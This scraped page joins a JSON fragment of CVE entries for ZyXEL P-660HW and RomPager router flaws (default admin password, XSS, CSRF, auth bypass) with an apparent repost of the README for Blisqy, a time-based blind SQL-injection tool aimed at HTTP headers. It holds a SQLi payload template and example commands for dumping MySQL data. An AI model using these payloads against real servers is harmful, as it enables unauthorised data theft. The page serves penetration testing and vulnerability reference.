"cpe:/h:zyxel:p-660hw:_t1:-"], "Published": "2014-04-01T23:58:16.967-04:00", "id": "CVE-2013-3588", "Modified": "2014-04-02T11:29:53.243-04:00", "cvss": 7.8, "summary": "The web management interface on Zyxel P660 devices allows remote attackers to cause a denial of service (reboot) via a flood of TCP SYN packets."}, {"cwe": "CWE-79", "references": ["http://osvdb.org/ref/99/rompager407.pdf", "http://osvdb.org/99694", "http://antoniovazquezblanco.github.io/docs/advisories/Advisory_RomPagerXSS.pdf"], "vulnerable_configuration": ["cpe:/h:d-link:dsl-2640r:-", "cpe:/h:d-link:dsl-2641r:-", "cpe:/h:huawei:mt882:-", "cpe:/h:sitecom:wl-174:-", "cpe:/h:tp-link:td-8816:-", "cpe:/a:allegrosoft:rompager:4.07", "cpe:/h:zyxel:p-660hw_d1:-"], "Published": "2014-01-16T14:55:04.607-05:00", "id": "CVE-2013-6786", "Modified": "2014-01-17T11:01:47.353-05:00", "cvss": 4.3, "summary": "Cross-site scripting (XSS) vulnerability in Allegro RomPager before 4.51, as used on the ZyXEL P660HW-D1, Huawei MT882, Sitecom WL-174, TP-LINK TD-8816, and D-Link DSL-2640R and DSL-2641R, when the \"forbidden author header\" protection mechanism is bypassed, allows remote attackers to inject arbitrary web script or HTML by requesting a nonexistent URI in conjunction with a crafted HTTP Referer header that is not properly handled in a 404 page.  NOTE: there is no CVE for a \"URL redirection\" issue that some sources list separately."}, {"cwe": "CWE-79", "references": ["http://xforce.iss.net/xforce/xfdb/41109", "http://www.securityfocus.com/archive/1/archive/1/489009/100/0/threaded", "http://www.gnucitizen.org/projects/router-hacking-challenge/"], "vulnerable_configuration": ["cpe:/h:zyxel:p-660hw_t3:v2", "cpe:/h:zyxel:p-660hw:_t1:v2", "cpe:/h:zyxel:p-660hw_d1:v2", "cpe:/h:zyxel:p-660hw_t3:-", "cpe:/h:zyxel:p-660hw:_t1:-", "cpe:/h:zyxel:p-660hw_d3:-", "cpe:/h:zyxel:p-660hw_d1:-"], "Published": "2008-03-10T13:44:00.000-04:00", "id": "CVE-2008-1257", "Modified": "2012-05-31T00:00:00.000-04:00", "cvss": 4.3, "summary": "Cross-site scripting (XSS) vulnerability in Forms/DiagGeneral_2 on the ZyXEL P-660HW series router allows remote attackers to inject arbitrary web script or HTML via the PingIPAddr parameter."}, {"id": "CVE-2008-1256", "references": ["http://xforce.iss.net/xforce/xfdb/41108", "http://www.securityfocus.com/archive/1/archive/1/489009/100/0/threaded", "http://www.gnucitizen.org/projects/router-hacking-challenge/"], "vulnerable_configuration": ["cpe:/h:zyxel:p-660hw"], "Published": "2008-03-10T13:44:00.000-04:00", "Modified": "2011-03-07T22:06:25.080-05:00", "cvss": 10.0, "summary": "The ZyXEL P-660HW series router has \"admin\" as its default password, which allows remote attackers to gain administrative access."}, {"cwe": "CWE-264", "references": ["http://www.securityfocus.com/archive/1/archive/1/489009/100/0/threaded", "http://www.gnucitizen.org/projects/router-hacking-challenge/", "http://xforce.iss.net/xforce/xfdb/41114"], "vulnerable_configuration": ["cpe:/h:zyxel:p-660hw"], "Published": "2008-03-10T13:44:00.000-04:00", "id": "CVE-2008-1255", "Modified": "2008-09-05T17:37:15.440-04:00", "cvss": 10.0, "summary": "The ZyXEL P-660HW series router maintains authentication state by IP address, which allows remote attackers to bypass authentication by establishing a session from a source IP address of a previously authenticated user."}, {"cwe": "CWE-352", "references": ["http://www.securityfocus.com/archive/1/archive/1/489009/100/0/threaded", "http://www.gnucitizen.org/projects/router-hacking-challenge/", "http://xforce.iss.net/xforce/xfdb/41111"], "vulnerable_configuration": ["cpe:/h:zyxel:p-660hw"], "Published": "2008-03-10T13:44:00.000-04:00", "id": "CVE-2008-1254", "Modified": "2008-09-05T17:37:15.287-04:00", "cvss": 6.8, "summary": "Multiple cross-site request forgery (CSRF) vulnerabilities on the ZyXEL P-660HW series router allow remote attackers to (1) change DNS servers and (2) add keywords to the \"bannedlist\" via unspecified vectors."}]

Software using cve-search

cve-search - A Tool To Perform Local Searches For Known Vulnerabilities


A slow data siphon for MySQL/MariaDB using bitwise operation on printable ASCII characters, via a blind-SQL injection.

Usage
USAGE:
blisqy.py --server <Web Server> --port <port> --header <vulnerable header> --hvalue <header value> 
          --inject <point of injection>  --payload <custom sql payload> --dig <yes/no> --sleeptime <default 0.5>

Options:
  -h, --help            show this help message and exit
  --server=WEBSERVER    Specify host (web server) IP
  --port=PORT           Specify port
  --header=VULNHEADER   Provide a vulnerable HTTP Header
  --hvalue=HEADERVALUE  Specify the value for the vulnerable header
  --inject=INJECTION    Provide where to inject Sqli payload
  --payload=PAYLOAD     Provide SQL statment/query to inject as payload
  --dig=DIGGER          Automatic Mysql-Schema enumeration (takes time!)
  --sleeptime=SLEEP     Sleep-Time for blind-SQLi query (default : 0.5)
  --interactive=INTERACT
                        Turn interactive mode on/off (default : off)

Basics
Blisqy will assit you enumerate a MySQL/Maria DB after finding a Time-Based Blind Sql injection vulnerability on a web server. Currently, it supports injections on HTTP Headers. You should have identified a potential Blind Sql injection vulnerability on a Webserver as demonstrated on Pentester-Lab (From SQL Injection to Shell II)
So you can't run Blisqy without :
  • --server : the vulnerable Webserver
  • --port : Which port is the webserver running on?
  • --header : the identified vulnerable HTTP header
  • --hvalue : value for the identified vulnerable HTTP header
and most imporntatly --inject : what to inject after the hvalue (SQLi Payload).

Options :

--inject
After identifying a Time-Based BlindSQL injection on a web-server, this option enables the user craft and insert SQL-injection payloads. The value for this option should look like this :
--inject "' or if((*sql*),sleep(*time*),0) and '1'='1"
Where
  • *sql* - is where SQL Payloads will be inserted and
  • *time* - is where Time-Based test will be inserted.

--sleeptime
Blisqy now accepts user set --sleeptime and it's inserted on --inject *time*. Always make sure you have fine tuned this value to resonates with your environment and network lantency.... Otherwise you'll be toased! (the lower the value, the faster we go). E.g. --sleeeptime 0.1

--payload
This option allows the user run their own custom SQL-injection payloads. Other options like --dig and --interactive MUST not be set (should be ignored) for this option to run.

Example :
Command
./blisqy.py --server 192.168.56.101 --port 80 --header "X-Forwarded-For" --hvalue "hacker" 
           --sleeptime 0.1 
           --inject "' or if((*sql*),sleep(*time*),0) and '1'='1" 
           --payload "select @@hostname"


--interactive
This option accept two values i.e on or off and it compliments option --dig (this option must be set to yes). If set as --interactive on the user will get to choose which discovered table to enumerate and decide if data from the table should be dumped or not. When set as "--interactive off", every table gets enumerated and all data dumped.

Getting data from a Table :
The user can decide which columns to extract data from when --interactive is set on. The format looks something like this : column1*column1*column2 - just the column names separated by an asterisk. User can also avoid data collection on a particular table by entering skip instead of the column names.

Example :
Command
./blisqy.py --server 192.168.56.101 --port 80 --header "X-Forwarded-For" --hvalue "hacker" --dig yes 
            --sleeptime 0.1 --interactive on --inject "' or if((*sql*),sleep(*time*),0) and '1'='1"



Blisqy - Exploit Time-based blind-SQL injection in HTTP-Headers (MySQL/MariaDB)

Subscribe to: Posts (Atom)